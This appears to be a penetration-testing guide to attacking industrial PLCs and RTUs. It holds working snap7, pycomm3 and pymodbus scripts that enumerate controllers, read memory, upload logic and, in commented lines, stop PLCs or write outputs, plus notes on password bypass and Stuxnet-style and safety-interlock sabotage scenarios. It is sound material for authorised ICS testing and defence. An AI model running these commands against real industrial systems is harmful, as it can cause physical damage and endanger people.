PLC/RTU Attacks
Programmable Logic Controllers (PLCs) and Remote Terminal Units (RTUs) are the workhorses of industrial automation. Compromising these devices can lead to direct physical impact.
Physical Safety Risk
Common PLC Vulnerabilities
Authentication Issues
- • No authentication on protocols
- • Default/weak passwords
- • Hardcoded credentials
- • Password bypass vulnerabilities
Logic Vulnerabilities
- • Unauthenticated program upload
- • Logic download without verification
- • Runtime value manipulation
- • Stop/start control
Siemens S7 Attacks
S7 Enumeration
# Nmap S7 info script
nmap -p 102 --script s7-info 192.168.1.100
# Using snap7 library
pip install python-snap7
python3 << 'EOF'
import snap7
client = snap7.client.Client()
client.connect('192.168.1.100', 0, 1) # IP, rack, slot
# Get PLC info
info = client.get_cpu_info()
print(f"Module Type: {info.ModuleTypeName}")
print(f"Serial: {info.SerialNumber}")
print(f"Module Name: {info.ModuleName}")
# Get CPU state
state = client.get_cpu_state()
print(f"CPU State: {state}") # Run, Stop, etc.
client.disconnect()
EOFS7 Authentication Bypass
# S7 PLCs can have password protection
# Multiple levels: Read, Write, Read/Write
# Check if password is set
# Try connecting and performing operations
# Password bypass techniques:
# 1. S7-300/400 with older firmware have known bypasses
# 2. Some PLCs accept empty password
# 3. Password stored in project file (extract and crack)
# Using s7-brute-offline
# Extract password hash from captured traffic or project file
# Crack offline
# Replay attack
# Capture legitimate authentication
# Replay to gain accessS7 Control Commands
# WARNING: These commands affect PLC operation
# Only use in lab environments
python3 << 'EOF'
import snap7
client = snap7.client.Client()
client.connect('192.168.1.100', 0, 1)
# Stop the PLC (DANGEROUS)
# client.plc_stop()
# Start the PLC
# client.plc_cold_start()
# client.plc_hot_start()
# Read memory areas
# DB (Data Block)
db_data = client.db_read(1, 0, 100) # DB1, offset 0, 100 bytes
# Read inputs
inputs = client.read_area(snap7.types.Areas.PE, 0, 0, 10)
# Read outputs
outputs = client.read_area(snap7.types.Areas.PA, 0, 0, 10)
# Read markers (memory)
markers = client.read_area(snap7.types.Areas.MK, 0, 0, 10)
client.disconnect()
EOFAllen-Bradley / Rockwell Attacks
EtherNet/IP Exploitation
# Using pycomm3
pip install pycomm3
python3 << 'EOF'
from pycomm3 import LogixDriver
# Connect to ControlLogix/CompactLogix
with LogixDriver('192.168.1.100') as plc:
# Get PLC info
info = plc.get_plc_info()
print(f"Name: {info['name']}")
print(f"Vendor: {info['vendor']}")
print(f"Product Type: {info['product_type']}")
print(f"Revision: {info['revision']}")
# Get all tags
tags = plc.get_tag_list()
for tag in tags:
print(f"{tag['tag_name']}: {tag['data_type']}")
# Read a tag
result = plc.read('SomeTag')
print(f"Value: {result.value}")
# Write a tag (DANGEROUS)
# plc.write('SomeTag', 100)
EOFModbus PLC Attacks
# Modbus has NO authentication
# Any device on the network can read/write
python3 << 'EOF'
from pymodbus.client import ModbusTcpClient
client = ModbusTcpClient('192.168.1.100', port=502)
client.connect()
# Read holding registers
result = client.read_holding_registers(0, 10, slave=1)
print(f"Registers: {result.registers}")
# Read coils (digital outputs)
coils = client.read_coils(0, 10, slave=1)
print(f"Coils: {coils.bits}")
# DANGEROUS: Write operations
# Write single coil (turn output on/off)
# client.write_coil(0, True, slave=1)
# Write single register
# client.write_register(0, 1234, slave=1)
# Write multiple coils
# client.write_coils(0, [True, False, True], slave=1)
# Write multiple registers
# client.write_registers(0, [100, 200, 300], slave=1)
client.close()
EOFLogic Manipulation
The most impactful attacks involve modifying the PLC logic itself. This can cause subtle malfunctions that are difficult to detect.
Attack Scenarios
Stuxnet-style Attack
Modify logic to cause physical damage while showing normal values to operators. The HMI displays everything is normal while equipment is being destroyed.
Safety System Bypass
Disable safety interlocks that prevent dangerous conditions. Example: Allow tank overfill, disable temperature limits.
Production Sabotage
Make subtle changes to process values causing quality defects. Example: Slightly modify recipe parameters in food/pharma manufacturing.
Ransomware
Lock out operators from PLCs. Encrypt or wipe PLC logic. Demand ransom for restore or decryption key.
Logic Upload/Download
# Download logic from PLC (backup/analysis)
# This extracts the currently running program
# Siemens - using snap7
python3 << 'EOF'
import snap7
client = snap7.client.Client()
client.connect('192.168.1.100', 0, 1)
# Download entire project (if supported)
# Requires proper access level
# Download specific block
block_data = client.full_upload(snap7.types.block_types.OB, 1)
with open('OB1.bin', 'wb') as f:
f.write(block_data)
client.disconnect()
EOF
# Allen-Bradley - using RSLogix or pycomm3
# Logic stored in controller, can be uploaded via software
# Schneider - using Unity Pro or network tools
# Modicon PLCs allow logic upload via proprietary protocol
# Analyze downloaded logic
# - Look for safety interlocks
# - Identify critical control logic
# - Find hardcoded valuesFirmware Attacks
# PLC firmware can be vulnerable to:
# - Buffer overflows
# - Authentication bypass
# - Backdoors
# - Malicious firmware upload
# Firmware extraction methods:
# 1. Download from vendor website
# 2. JTAG/debug interface access
# 3. Network firmware update capture
# Firmware analysis
# Use binwalk, Ghidra for analysis
binwalk plc_firmware.bin
binwalk -e plc_firmware.bin
# Look for:
# - Hardcoded credentials
# - Debug interfaces
# - Vulnerable services
# - Known CVEs
# Search for PLC CVEs
# https://www.cisa.gov/uscert/ics/advisories
# https://nvd.nist.gov - search "PLC" or vendor nameCommon PLC CVEs
| CVE | Vendor | Vulnerability | Impact |
|---|---|---|---|
| CVE-2019-13945 | Siemens S7 | Denial of Service | Crash PLC |
| CVE-2020-15782 | Siemens S7-1200 | Memory Protection Bypass | Code execution |
| CVE-2012-6435 | Rockwell MicroLogix | Hardcoded credentials | Auth bypass |
| CVE-2015-1015 | Schneider Modicon | Hardcoded FTP password | Full access |
PLC Testing Checklist
Enumeration
- ☐ Identify PLC vendor and model
- ☐ Determine firmware version
- ☐ Check for known CVEs
- ☐ Enumerate available protocols
Authentication
- ☐ Test for default credentials
- ☐ Check if authentication is enabled
- ☐ Test for authentication bypass
- ☐ Check password strength
Access Control
- ☐ Test read access to memory/registers
- ☐ Test write access restrictions
- ☐ Check logic upload/download controls
- ☐ Test stop/start controls
Documentation